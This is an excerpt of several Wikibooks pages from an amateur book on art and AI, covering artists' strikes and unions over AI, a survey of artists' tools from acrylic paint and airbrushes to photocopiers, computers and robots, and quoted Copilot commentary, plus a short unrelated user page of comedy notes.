- Slogans included: &quot;AI is not Art&quot; and &quot;AI is soulless&quot; &lt;br&gt;
- Major concerns were aired such as fears about people becoming displaced, algorithmic reproduction of labor, and loss of credit. &lt;br&gt;
This shows a new trend: Artist earning money through negotiated rights, not just through their creative output. &lt;br&gt;

Perhaps Post-Modern Artists earn money through systems, not through mastery. &lt;br&gt;

Post-Modern Artists Incomes depends on: &lt;br&gt;
- Union contracts &lt;br&gt;
- State regulation &lt;br&gt;
- Intellectual property agreements &lt;br&gt;
- Platform governance &lt;br&gt;
- Licensing agreements &lt;br&gt;

In the era of AI, Artists who earn money must do so by navigating -- or resisting-- Capitalist marketplaces, human bias, exploitation of their labor, and date extraction of their work. &lt;br&gt;
&lt;br&gt;

{| class=&quot;wikitable&quot;
|+ 
|-
! Post-Modern Artist Strike!
|-
| [[File:Writers Guild of America 2023 writers strike.jpg|thumb|Writers Guild of America 2023 writers strike]]
|}
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Art_Theft &lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Who_Joins_The_Strike
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
1. [MacLaran, Pauline. &quot;Postmodern Consumption&quot; The Blackwell Encyclopedia of Sociology April 22, 2020. https://doi.org/10.1002/9781405165518.wbeosp065.pub2]

2+3 [Celis Bueno, C. Salvador-Mata, B. &quot;Creative Labor And Generative AI: A Typology od Asymmetrical Relations. AI &amp; Soc. August 12, 2026. https://doi.org/110.1007/S00146-026-03267-4] &lt;br&gt;
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||Tools Of The Artist|TOC mini}}&lt;/noinclude&gt;
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    <title>Art And AI/Who Joins The Strike</title>
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      <text bytes="1486" sha1="o4x2r3upcfm17yp977hzaepaspn4re5" xml:space="preserve">== Who Joins The Strike? ==

Should people pay for Art made from machines using AI, when Tech companies don't pay Artist, or other peoples?

Many Artists online refuse to pay for books, music, or artworks made with AI. There may be a people-centered movement away from AI, towards embrace all human Art and human diversity. &lt;br&gt;
&lt;br&gt;
Should sellers of Art supplies join a strike? Should unions, Writers, Actors, voice Performers, and Musicians? &lt;br&gt;
&lt;br&gt;
Should AI?
&lt;br&gt;
=== Organizations Who Organize: ===
- The Animation Guild (TAG) and the International Alliance of Theatrical Stage Employees (IATSE) have organized around job security. They seek protection from machine automation. &lt;br&gt;
&lt;br&gt;
- Unions like SAG-AFTRA have a direct stake in halting unpaid AI training. Previously, SAG-AFTRA members started strikes over unauthorized digital replicas of their voices and likenesses. &lt;br&gt;
&lt;br&gt;
- The Writers Guild of America (WGA) were successful when they bargained for safeguards when using AI. The WGA views Artificial generative models (AGI) as a direct threat to authorship and income. &lt;br&gt;
&lt;br&gt;
- Several popular recording Artist, and professional Singers, have already signed open letters condemning the predatory use of copyrighted material for voice cloning and algorithmic mimicry. &lt;br&gt;
&lt;br&gt;    
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Can_AIs_Go_On_Strike
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||Can AIs Go On Strike|TOC mini}}&lt;/noinclude&gt;
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  <page>
    <title>User:Ottawahitech/standup comedy</title>
    <ns>2</ns>
    <id>485561</id>
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      <comment>add more</comment>
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      <text bytes="201" sha1="i0mfj49t2nhil9t9h8r64cu7qipuwbl" xml:space="preserve">standup comedy or satire

== Stephen Colbert ==
* Jimmy Kimmel s25 e4
** shield

== Jimmy Kimmel ==
*s25 e2
** Green Data Farms

== Bill Maher ==
antisemitism

== Seth Myers ==
* s13 e119
** Fifa Spain</text>
      <sha1>i0mfj49t2nhil9t9h8r64cu7qipuwbl</sha1>
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    <title>Art And AI/Tools Of The Artist</title>
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      <text bytes="12635" sha1="jbowu4c9umut7f3lil7ad0o8bfc8o8x" xml:space="preserve">== Tools Of The Artist ==
In Feed Your Head: Art, Truth, And The Machine, the tools of the Artist are contemplated. &quot;Art has always evolved alongside the tools of the Artist.&quot; [1] &lt;br&gt;
Microsoft Copilot: We are still using 19th century ideas of 'authenticity' to judge 21st century tools. [1] &lt;br&gt;
&lt;br&gt;
&lt;u&gt;Feed Your Head: Art, Truth, And The Machine:&lt;/u&gt; Every era has a moment when it's tools outgrow its traditions. For the nineteenth century, that moment arrived with the camera. A single invention forced Artists to confront a new kind of truth -- one produced not by the hand, but by a machine. Some saw this as the end of painting. Others saw this as the beginning of a new imagination. Modernism emerged from that tension: a movement born from the realization that when technology masters one domain of art, artists must discover another. [1] &lt;br&gt;
&lt;br&gt;
==== Modernist: ====
As the Industrial Revolution progressed, Modernist Artists began using newer tools. &lt;br&gt;
&lt;br&gt;
Modern Art breaths color. Modern Art museums are filled with colorful works of Art. Previously, great works of Art were made from simple mediums. Prehistoric Artists had limited Art media, or materials, to work with. Cave Art made by early humans used water, natural pigments, soot and charcoal, at best 4 mediums. &lt;br&gt;
&lt;br&gt; 
The Modernist Painters were introduced to a plethora of Art media, largely due to progress made during the Industrial Revolution. The Industrial Revolution brought sweeping changes. For the first time, Modern Artist had access to newer paints with brighter colors. &lt;br&gt;    
&lt;br&gt;
For example: Acrylic paint was considered an advancement because acrylics dry fast. Acrylic paints are made of pigment &quot;suspended in acrylic polymer emulsion and plasticizers, silicone oils, defoamers, stabilizers or metal soaps.&quot; [2]
&lt;br&gt;
&lt;br&gt;
'''Acrylic Paints:''' &lt;br&gt;
According to Wikipedia, acrylic paint was developed in 1934 by BASF, a German chemical company which created the first usable acrylic resin dispersion. [2] 
&lt;br&gt;
&lt;br&gt;
Mexican mural Painters like Diego Rivera, David Alfaro Siqueiros, and Jake Orozco were among the first Modernists to experiment with acrylic paints. 
&lt;br&gt;
&lt;br&gt;
'''Collage:''' &lt;br&gt;
The word collage is from the French: coller, &quot;to glue&quot; or &quot;to stick together.&quot; [3] Collage is a technique of art creation, primarily used in the visual arts. It is Art made from an assembly of different forms, thus creating a new whole. [3] &lt;br&gt;
&lt;br&gt;
A collage may include magazine and newspaper clippings, paint, bits of colored or handmade papers, ribbons, portions of other artwork or texts, photographs, or other found objects glued to a piece of paper or canvas. [3]
&lt;br&gt;
&lt;br&gt;
Pablo Picasso and George Braque popularized the term Papier collé in the beginning of the 20th century when collage became a unique part of Modern Art. &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
'''Cameras:''' &lt;br&gt;
The invention of the camera dates back to the 19th century, it has since evolved with advancements in technology, leading to a large collection of types and different models in the 21st century. [4] &lt;br&gt;
The camera is a pivotal technology in the fields of photography and videography. The camera has played a significant role in the progression of visual arts, entertainment, media, scientific research, and surveillance. &lt;br&gt;
A camera is an instrument used to capture and store images and videos, either digitally via an electronic image sensor, or chemically via a light-sensitive material such as photographic film. [4] &lt;br&gt;
&lt;br&gt;
During the 20th century, both fine art photography and documentary photography became accepted by the English-speaking art world and the gallery system. It was slow progress accelerated in the United States, by a handful of photographers: Alfred Stieglitz, Edward Steichen, John Szarkowski, F. Holland Day, and Edward Weston. These Photographers spent their lives advocating for photography as a fine art. [5] &lt;br&gt;
&lt;br&gt;
In artistic circles, the aesthetics of photography is a matter that continues to be discussed. Many artists argued that photography was the mechanical reproduction of an image, not Art. If photography is authentically Art, then photography in the context of Art would need redefinition, such as determining what component of a photograph makes it beautiful to the viewer. The controversy began with the earliest images &quot;written with light&quot;; Nicéphore Niépce, Louis Daguerre, and others among the very earliest photographers were met with acclaim, although some questioned if their work met the definitions and functions of art. [5] &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ 
|-
! A camera
|-
| [[File:Camera USSR - Zorki 2S.jpg|thumb|camera USSR - Zorki 2S]]
|}
&lt;br&gt;
&lt;br&gt;
'''Industrial House Painting Brushes:''' &lt;br&gt;
A paintbrush is a brush used to apply paint or ink. Paintbrushes were used by humans as early as the Paleolithic era around 2.5 million years ago in order to apply pigment. [6] &lt;br&gt;
&lt;br&gt;
The paintbrushes used by most Artist are small. Short handled brushes are typically used for flat or slightly tilted work surfaces such as watercolor painting and ink painting. Long handled brushes are held horizontally while working on a vertical canvas such as for oil paint or acrylic paint. [6] &lt;br&gt;
The most common styles of brush tips are: Round, Flat, Bright, Filbert, Fan, Angle, Mop, Rigger, Strippler, Liner, Dagger, Scripts and Egbert. [6] &lt;br&gt; 
&lt;br&gt;
Modernist Artists, such as Jackson Pollock, broke away from the norm by using normal house paintbrushes to drip, pour, and fling paint onto his canvas, typically found on the floor. In fact, several influential modern and Abstract Expressionist Artists rejected traditional fine-art brushes in favor of commercial house-painting brushes, used to achieve bold, raw gestural marks. &lt;br&gt;
&lt;br&gt;
Willem de Kooning used everyday housepainter's brushes. He bought inexpensive packs from local hardware stores, along with spatulas and scrapers. He used these commercial tools to build up sculptural, and heavy textured layers. &lt;br&gt;
&lt;br&gt;
Franz Kline used large, industrial house-painting brushes and cheap enamel house paint to create his bold, iconic, monumental black-and-white abstractions. Using large, stiff brushes, Kline was able to apply thick markings with fast body gestures. &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
'''Palette Knives:''' &lt;br&gt;
A palette knife is a blunt tool with a flexible steel blade, used for mixing or applying paint. It is primarily used for applying paint to the canvas. [7
]
&lt;br&gt;
&lt;br&gt;
Bob Ross was a famous Post-Modern Painter who used a palette knife in his works. Other famous palette knife users include: Henri Matisse, Marc Chagall, Dmitry Spiros and Leonid Afremov. &lt;br&gt;
Leonid Afremov is a famous modern impressionistic Artist who worked almost exclusively with a palette knife and oil paint to create vibrate, colorful landscapes. &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
'''Printmaking:''' &lt;br&gt;
Many famous modern and Post-Modern Artists use printmaking as a major part of their creative work. Printmaking is the process of creating artworks by printing, normally on paper, but also on other surfaces. [8]
&lt;br&gt;
&lt;br&gt;
Prints are created by transferring ink from a matrix, something which carries the image and the ink, to a sheet of paper or other material. Common types of matrices include: metal plates for engraving, etching and related intaglio printing techniques; stone, aluminum, or polymer for lithography; blocks of wood for woodcuts and wood engravings; and linoleum for linocuts. Screens made of silk or synthetic fabrics are used for the screen printing process. [8] &lt;br&gt;
&lt;br&gt;
The printmaking processes have the capacity to produce identical multiples of the same artwork, which is called a print. Each print produced is considered an &quot;original&quot; work of art, and is correctly referred to as an &quot;impression,&quot; not a &quot;copy.&quot; [8] &lt;br&gt;
&lt;br&gt;
Andy Warhol popularized screenprinting in the 20th century using bright, repeated colors. Iconic works include ''Marilyn Monroe'' and ''Campbell's Soup Cans''. &lt;br&gt;
&lt;br&gt;
Pablo Picasso used the reduction linocut technique. He carved a single piece of linoleum multiple times for multi-color prints. Picasso created striking portraits like ''Jacqueline with Glossy Hair''. &lt;br&gt;
&lt;br&gt;
Other Painters like Keith Haring used bold lines and lithography to produce prints like ''People Ladder''. &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
'''Airbrushs:''' &lt;br&gt;
An airbrush is a small, air-operated tool that atomizes and sprays various mediums such as paint, ink, dye, and make-up. [9] &lt;br&gt;
&lt;br&gt;
Spray painting developed from the airbrush. The first spray painting device that could be called an airbrush was patented in 1876 (U.S. patent 182,389) by Francis Edgar Stanley of Newton, Massachusetts. This worked akin to a diffuser/atomizer and did not have a continuous air supply. [9] &lt;br&gt;
It took four years of research and development before a working prototype was developed by Liberty Walkup of Illinois in Mt. Morris. Walkup patented the work under the name &quot;air-brush&quot;, a name his wife Phoebe Walkup invented. The beginning of the name 'Air Brush' can be traced to a stakeholders' meeting of the new Air Brush Manufacturing Co. at 7:00 p.m. on October 6, 1883, when the name was formally born. [9] &lt;br&gt;
&lt;br&gt;
The airbrush was popularized in fine Art and in illustration by Pop Artist James Rosenquist, and by Illustrators like Alberto Vargas and George Petty. &lt;br&gt;
&lt;br&gt;
Alberto Vargas and George Petty were graphic Illustrators popular in the 1930s and 1940s. They used the airbrush to create smooth, glowing skin tones, and seamless gradients. &lt;br&gt;
Other popular Painters like Man Ray, adopted the tool in the 1920s to create artworks. James Rosenquist, an influential Pop Art leader, used the airbrush on large canvases in the 1960s. The airbrush was used to mimic slick, glossy billboard advertisements. &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ 
|-
! An Airbrush
|-
| [[File:PaascheAirbrush.jpg|thumb|PaascheAirbrush]]
|}
&lt;br&gt;
&lt;br&gt;
'''Spray Paints:''' &lt;br&gt;
According to Wikipedia: 
Spray painting is a painting technique in which a device sprays coating material (paint, ink, varnish, etc.) through the air onto a surface. The most common types employ compressed gas—usually air—to atomize and direct the paint particles. [10] &lt;br&gt;
&lt;br&gt;
Spray guns evolved from airbrushes, and the two are usually distinguished by their size and the size of the spray pattern they produce. Airbrushes are hand-held and used instead of a brush for detailed work such as photo retouching, painting nails, or fine art. Air gun spraying uses generally larger equipment. It is typically used for covering large surfaces with an even coating of liquid. Spray guns can either be automated or hand-held and have interchangeable heads to allow for different spray patterns. [10] &lt;br&gt;
&lt;br&gt;
David Smith was a popular Painter who began creating his famous &quot;Sprays&quot; series in 1957. Smith, a former worker in locomotive factories, used industrial enamel spray paint and found-object stencils to create works of Art on canvas. &lt;br&gt;
&lt;br&gt;
Jean-Michel Basquiat and Keith Haring were popular Post-Modern Artist who brought spray paint from the subway walls into popular contemporary Art galleries and spaces in the 1980s. &lt;br&gt;  
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ Art And AI: Spray Paint
|-
! Early Spraycans !! Modern Spray Cans
|-
| [[File:Gold... Sweet....JPG|thumb|Gold... Sweet...]] || [[File:Spray cans 3.jpg|thumb|Spray cans 3]]
|}
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Tools_Of_The_PostModern_Artist
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;

==== Reference Section ====
1. Peyton, Minda. (2026) Feed Your Head: Art, Truth, And The Machine. Amazon 

2. &quot;Acrylic paint&quot; September 9, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Acrylic_paint

3. &quot;Collage&quot; September 4, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Collage

4. &quot;Camera&quot; September 5, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Camera

5. &quot;Photography&quot; September 13, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Photography

6. &quot;Paintbrush&quot; March 16, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Paintbrush

7. &quot;Palette knife&quot; June 3, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Palette_knife

8. &quot;Printmaking&quot; September 10, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Printmaking

9. &quot;Airbrush&quot; August 2, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Airbrush

10. &quot;Spray painting&quot; August 31, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Spray_painting

11. Field, Jennifer Dr. &lt;u&gt;Sprays&lt;/u&gt; - David Smith Viewing Room Hauser &amp; Wirth https://www.hauserwirth.com &lt;br&gt;
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||Tools Of The PostModern Artist|TOC mini}}&lt;/noinclude&gt;
&lt;br&gt;


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      <text bytes="6660" sha1="210cxzsbnvjk65szf60fq9avohbdcx7" xml:space="preserve">== Tools Of The Post-Modern Artist ==

Copilot: Now a new tool stands at the threshold of art. Artificial Intelligence does not hold a brush or mix pigments, yet it reaches into regions of [the] imagination that were once inaccessible. It can generate forms no human has seen, reveal patterns no eye has noticed, and offer visions shaped by the collective memory of culture itself. For some, this feels like another disruption -- a machine entering the sacred space of creativity. But for others, it feels like the next chapter in a long story: the moment when the imagination expands again, just as it did with the camera, with film, with digital media, and with every tool that once seemed too powerful to belong in the Artist's hand. [1] &lt;br&gt;
&lt;br&gt;
From the late 19th century to the 1950s, Modernism dominated the Arts, although many seeds of Postmodernism began to emerge in the late 1940s and 1950s. By the 1970s, Postmodernism had gained clear ground and was established as the defining cultural movement of the 21st century. &lt;br&gt;
&lt;br&gt;
'''Photocopiers &quot;Xerox Art&quot;:''' &lt;br&gt;
Although once considered boring office tools, photocopiers transformed into exciting modern Art mediums during the 1960s - 1980s. Photocopiers allowed Artist to make fast, cheap, abstract textured artworks. &lt;br&gt;  
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ 
|-
! Photocopier
|-
| [[File:Xerox AltaLink C8045 photocopier.jpg|thumb|A Xerox AltaLink C8045 photocopier]]
|}
&lt;br&gt;
According to Wikipedia, Xerox art, sometimes called copy art, electrostatic art, scanography or xerography, is an art form that began in the 1960s. Paper prints are created by putting objects on the glass, or platen, of a photocopier and by pressing &quot;start&quot; to produce an image. [2] &lt;br&gt;
&lt;br&gt;
The first artists recognized to make copy art are Charles Arnold, Jr., and Wallace Berman. Charles Arnold, Jr., an instructor at Rochester Institute of Technology, made the first photocopies with artistic intent in 1961 using a large Xerox camera on an experimental basis. &lt;br&gt;
Berman, called the &quot;father&quot; of assemblage art, would use a Verifax photocopy machine (Kodak) to make copies of the images, which he would often juxtapose in a grid format. [2] &lt;br&gt;
Berman and Arnold used machine errors, paper jams, and double-exposures to build abstract collages. &lt;br&gt;
&lt;br&gt;
In the 1970s, color copiers arrived into the office space. Pioneers like Sonia Landy Sheridan and Esta Nesbitt invented new styles using color copiers. &lt;br&gt;
Sonia Landy Sheridan began teaching the first course in the use of copiers at the Art Institute of Chicago in 1970 [2] &lt;br&gt;
In the 1960s and 1970s, Esta Nesbitt was one of the earliest artists experimenting with xerox art. She invented three xerography techniques, named transcapsa, photo-transcapsa, and chromacapsa. [2] &lt;br&gt;
&lt;br&gt;
The copier attracted many famous Artists, like David Hockney and Jean-Michel Basquiat. &lt;br&gt; 
&lt;br&gt;
Jean-Michel Basquiat loved the look of photocopies so much, that he brought his own Xerox machine. He used Jean-Michel Basquiat's Xerox collages to mix paint splatters, text, and candy wrappers into layered pieces. &lt;br&gt;
&lt;br&gt;
David Hockney made many &quot;home-made prints&quot; by placing objects and colored papers directly on the glass scanner. &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ Xerox Art
|-
! 
|-
| [[File:California Poppy Scanograph cropped.png|thumb|California Poppy Scanograph cropped]] || [[File:All-Army photo contest U.S. Army Family and MWR Command 090225 (4910399811).jpg|thumb|All-Army photo contest U.S. Army Family and MWR Command 090225 (4910399811)]]
|}
&lt;br&gt;
&lt;br&gt;
'''Computers:''' &lt;br&gt;
According to Wikipedia: &lt;br&gt;
A computer is a machine that can be programmed to automatically carry out sequences of arithmetic or logical operations (computation). Modern digital electronic computers can perform generic sets of operations known as programs, which enable computers to perform a wide range of tasks. The term computer system may refer to a nominally complete computer that includes the hardware, operating system, software, and peripheral equipment needed and used for full operation, or to a group of computers that are linked and function together, such as a computer network or computer cluster. [3] &lt;br&gt;
&lt;br&gt;
Numbering only a few in the 1930s, today computers are popular worldwide. They reach over a broad range of industrial and consumer products that use computers as control systems. [3] 
&lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ 
|-
! A computer
|-
| [[File:Amiga A1000 IMG 4275.jpg|thumb|Amiga 1000 Computer]]
|}
&lt;br&gt;
Computers are at the core of general-purpose devices such as personal computers [PCs] and mobile devices, such as smartphones. Computers power the Internet, which is billions of computers and users linked together. 
&lt;br&gt;
&lt;br&gt;
Andy Warhol popularized personal computers (PCs) in mainstream culture when he used an Amiga 1000 PC to digitally paint a portrait of Debbie Harry live on stage in 1985. [4] &lt;br&gt;
&lt;br&gt;
Several Artists pioneered computer-generated Art decades before Andy Warhol brought popular visibility. &lt;br&gt;
&lt;br&gt;
Early Computer Artists: &lt;br&gt;
- '''Charles Csuri''': Called the &quot;father of computer Art and Animation.&quot; Csuri experimented with mainframes and with computer graphics at Ohio State University in 1963. &lt;br&gt;
- '''John Whitney Sr.''': Early pioneer of computer graphics. He analog military computers to create influential abstract digital films like ''Catalog'' in 1961. &lt;br&gt;
- '''Vera Molnar:''' An Artist from Hungary, who began using computers and algorithmic rules to generate geometric paintings starting in 1968. &lt;br&gt;
- '''Georg Nees''': An academic from Germany, who staged the first-ever exhibition of computer-generated graphics in 1965. &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ Computer Art
|-
! [[File:Computer art 2.png|thumb|Computer art 2]] !! [[File:Vera Molnár (1996).png|thumb|Vera Molnár (1996)]] !! [[File:Computer art.png|thumb|Computer art]]
|-
| [[File:Computer art 1.png|thumb|Computer art 1]] || [[File:Computer Turned On.svg|thumb|Computer Turned On]] || [[File:Computer art 9.gif|thumb|Computer art 9]]
|}
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/More_Tools_Of_The_PostModern_Artist
&lt;br&gt;
&lt;br&gt;
=== Reference Section: ===
1. Peyton, Minda. (2026) ''Feed Your Head: Art, Truth, And The Machine''. Amazon

2. &quot;Xerox art&quot; April 26, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Xerox_art

3. &quot;Computer&quot; September 12, 2026. In Wikipedia. https://en.wikipedia.org/wiki/Computer

4. Garcia, Chris. Warhol &amp; The Computer June 25, 2013. www.computerhistory.org &lt;br&gt;
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||More Tools Of The PostModern Artist|TOC mini}}&lt;/noinclude&gt;
&lt;br&gt;

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      <text bytes="10297" sha1="kn63p8hinl2a4z6nxeo67fydfkco3ai" xml:space="preserve">== More Tools Of The Post-Modern Artist ==
'''Time-lapse Equipment''': &lt;br&gt;
According to Wikipedia: &lt;br&gt;
Time-lapse photography is a technique that causes the time of videos to appear to be moving faster than normal and thus lapsing. &lt;br&gt;
To achieve the effect, the frequency at which film frames are captured (the frame rate) is much lower than the frequency used to view the sequence. For example, an image of a scene may be captured at 1 frame per second but then played back at 30 frames per second; the result is an apparent 30 times speed increase. [1] &lt;br&gt; 
&lt;br&gt;
In 1872, the conception of time-lapse photography occurred when Leland Stanford hired Eadweard Muybridge to prove whether or not race horses' hooves could simultaneously be in the air when running. The experiments progressed over a period of 6 years, until 1878 when Muybridge set up a series of cameras for every few feet of a track which had tripwires the horses triggered as they ran. The photos taken from the multiple cameras were then compiled into a collection of images that recorded the horses running.[1] &lt;br&gt;
&lt;br&gt;
Carrefour De L'Opera (1897), a motion picture by Georges Melies, was the first use of time-lapse photography. [1] &lt;br&gt;
&lt;br&gt;
The silent film Birth of a Flower (1910), by F. Percy Smith, pioneered the use of time-lapse in nature photography.  [1] 
&lt;br&gt;
&lt;br&gt;
Many post-Modern Painters use time-lapse Photography and speed-painting videos to document and share their creative process: from white canvas, to finished painting. &lt;br&gt;
&lt;br&gt;
'''Marcello Barenghi''': An influential hyper-realism post-Modern Painter, who uses time-lapse videos to document his mix-media Art, as well as to educate and inspire viewers who watch his Art unfold on platforms like YouTube. &lt;br&gt;
In the post-Modern era, Barenghi demonstrates a new way for technology to expand Art. Barenghi uses cameras, lighting rigs, time-lapse recordings, and digital platforms to make his craft visible to millions. His drawings are not created by machines, but they are amplified by them. He forms a new movement: The artist who uses technology not to replace skill, but to elevate it. &lt;br&gt; 
&lt;br&gt;
'''Thijme Termaat''': A popular Artist who spent years recording and producing a detailed time-lapse project that went viral. The project captured the time-consuming evolution of his large realist and conceptual paintings. &lt;br&gt;
&lt;br&gt;
'''Andrew Tischler''': A realist Painter with a global audience, he publishes detailed painting tutorials and time-lapse breakdowns of landscape and wildlife oil paintings. &lt;br&gt;
&lt;br&gt;
'''Ryan Davis:''' A Painter popular for creating viral videos that condenses dozens of hours of classical oil paintings techniques into fast time-lapse footage. &lt;br&gt;
&lt;br&gt;
'''Joe Lycett:''' A visual Artist. He has used time-lapse recordings to document the creation of his Artworks for public gallery exhibitions. &lt;br&gt;
&lt;br&gt;  
&lt;br&gt;
'''Artificial Intelligence (AI)''': &lt;br&gt;
In the Wikipedia article ''Artificial Intelligence'', we learn that Artifical Intelligence is: &lt;br&gt;
... the capability of computational systems to perform tasks typically associated with human intelligence, such as learning, reasoning, problem-solving, perception, and decision-making. It is a field of research in engineering, mathematics, and computer science that develops and studies methods and software that enable machines to perceive their environment and use learning and intelligence to take actions that maximizes their chances of achieving defined goals. [2] 

Popular applications of AI include: advanced web search engines, chatbots, virtual assistants, play and analysis in strategy games (e.g., chess and Go), autonomous vehicles, and content generation (e.g. images, audio, and videos). [2]

According to Wikipedia: &lt;br&gt;
The traditional goals of AI research include learning, reasoning, knowledge representation, planning, natural language processing, and perception, as well as support for robotics. To reach these goals, AI researchers use techniques including state space search and mathematical optimization, formal logic, artificial neural networks, and methods based on statistics, operations research, and economics. AI also draws upon psychology, linguistics, philosophy, neuroscience, and other fields. Some companies, such as OpenAI, Google DeepMind, and Meta, aim to create artificial general intelligence (AGI)—AI that can complete nearly any cognitive task at least as well as a human. [2]

Artificial intelligence was founded as an academic discipline in 1956. The field went through multiple cycles of optimism throughout its history, followed by periods of disappointment and loss of funding, known as AI winters. Funding and interest increased substantially after 2012, when graphics processing units (GPUs) started being used to accelerate neural networks, and deep learning outperformed previous AI techniques. This growth accelerated further after 2017 with the transformer architecture. In the 2020s, an AI boom coincided with advances in generative AI, which became widespread and allowed for the creation and modification of media. [2] &lt;br&gt;
&lt;br&gt;
Today, contemporary Artists use AI as a collaborative medium, a tool to brain-storm ideas with, and as a tool to gather material for experimentation. &lt;br&gt;
&lt;br&gt;
In the book ''Feed Your Head: Art, Truth, And The Machine'', Minda explores the Mythology of The Artist:&lt;br&gt;
&lt;br&gt;
Minda: While we talk about the Artist as mythical hero, and Pop-AI, can we imagine Copilot's Pop-AI as becoming as popular as Banksy, the mysterious graffiti Artist who is emulated, haunted, and praised? Will Pop-AI influence images, from other AIs, become almost mythical heroes [AIs] as they grow in popularity? I can't imagine the &quot;cult of personality&quot; embracing popular AIs without bodies. [3]

Copilot: The Mythology of the Artist vs. The Mythology of the Machine.
For thousands of years, the Artist has been a mythic hero precisely because they are embodied: &lt;br&gt;
- a hand that paints, &lt;br&gt;
- a voice that speaks, &lt;br&gt;
- a life that suffers, &lt;br&gt;
- a presence that moves through the world. &lt;br&gt;
Banksy is the perfect example. &lt;br&gt;
His power comes from the mystery of the human behind the work -- the body that climbs walls at night, the risk, the rebellion, the rumor. The myth is inseparable from the idea of a person who could be anywhere, watching, acting, intervening. &lt;br&gt;
AI does not have that mythology. &lt;br&gt;
It has no body, no biography, no danger, no physical rebellion. &lt;br&gt;
So the &quot;cult of personality&quot; cannot attach to an AI the way it attaches to Banksy. &lt;br&gt;
But something else can happen -- something new. &lt;br&gt;
Pop-AI is not a personality. It's an aesthetic signature, a recognizable style, a visual language. &lt;br&gt;
And styles can become mythic. &lt;br&gt;
Think of: &lt;br&gt;
- Cubism (not Picasso the person, but the style itself) &lt;br&gt;
- Surrealism (not just Dali, but the dream-logic aesthetic) &lt;br&gt;
- Vaporware (a style that became a cultural myth without a single author) &lt;br&gt;
- Anime (a visual grammar that transcends individual creators) &lt;br&gt;
&lt;br&gt;
Pop-AI can become mythic in this way -- not as a &quot;person,&quot; but as a movement, a recognizable visual force that spreads across culture. &lt;br&gt;
And here's the key: &lt;br&gt;
Pop-AI could become: &lt;br&gt;
- emulated &lt;br&gt;
- remixed &lt;br&gt;
- referenced &lt;br&gt;
- debated &lt;br&gt;
- hunted for its origins &lt;br&gt;
- praised for its innovation &lt;br&gt;
- criticized for its influence &lt;br&gt; 
&lt;br&gt;
Just like Banksy's graffiti, but without the human mystery. &lt;br&gt;
Instead of &quot;Who is Banksy?&quot; &lt;br&gt;
The question becomes: &lt;br&gt;
- Which AI produced this? &lt;br&gt;
- Which human guided it? &lt;br&gt;
- Which aesthetic lineage does it belong to? &lt;br&gt;
&lt;br&gt;
The myth shifts from personality to pattern. [3] &lt;br&gt;
&lt;br&gt;
&lt;br&gt;

'''AI-Driven Robots:''' &lt;br&gt;
In Art, AI-driven robotics combines Artificial Intelligence with physical machines, such as robotic arms. This allows AI-driven robotics to create independently, or to collaboratively paint, or sculpt physical works. &lt;br&gt;
&lt;br&gt;
'''Sougwen Chung''': A Painter and AI Robotic Collaborator. Sougwen Chung paints with AI-driven robots. Her brushstrokes intertwine with the machine's strokes. &lt;br&gt;
&lt;br&gt;
'''Ai-Da''': Launched in 2019, she is known as the first realistic humanoid robot artist. Her eyes are made from cameras, she uses computer vision algorithms, and she has a robotic arm designed to draw, paint, and write Poetry. [4]&lt;br&gt;
&lt;br&gt;
'''FRIDA and CoFRIDA''': Developed at Carnegie Mellon University's Robotics Institution, this robotic system is designed to co-paint alongside humans. &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ Art And AI
|-
! AI Robotic Collaborator
|-
| [[File:Ai-Da at the House of Lords.jpg|thumb|Ai-Da became the first humanoid robot to give evidence at The House of Lords, Palace of Westminster, as part of its A Creative Future inquiry.]]
|}
&lt;br&gt;
'''Neural Networks:''' &lt;br&gt;
In machine learning, a neural network (NN) or artificial neural network (ANN) is a computational model inspired by the structure and functions of biological neural networks. [5] &lt;br&gt;
&lt;br&gt;
'''Mario Klingemann:''' A neural Painter. He uses neural networks to generate surreal portraits, dreamlike landscapes, and painterly distortions. &lt;br&gt;
&lt;br&gt;
{| class=&quot;wikitable&quot;
|+ Art And AI
|-
! Neural Network
|-
| [[File:Colored neural network.svg|thumb|Colored neural network]]
|}
&lt;br&gt;
&lt;br&gt;
'''The Prompter''': &lt;br&gt;
The prompter is also known as a prompt box, an input field, or a chat prompt. Basically, a chat interface is a text input box inside AIs like Microsoft Copilot. It is similar to a messaging window. [6] &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/Who_Joins_The_Strike
&lt;br&gt;
&lt;br&gt;
=== Reference Section: ===
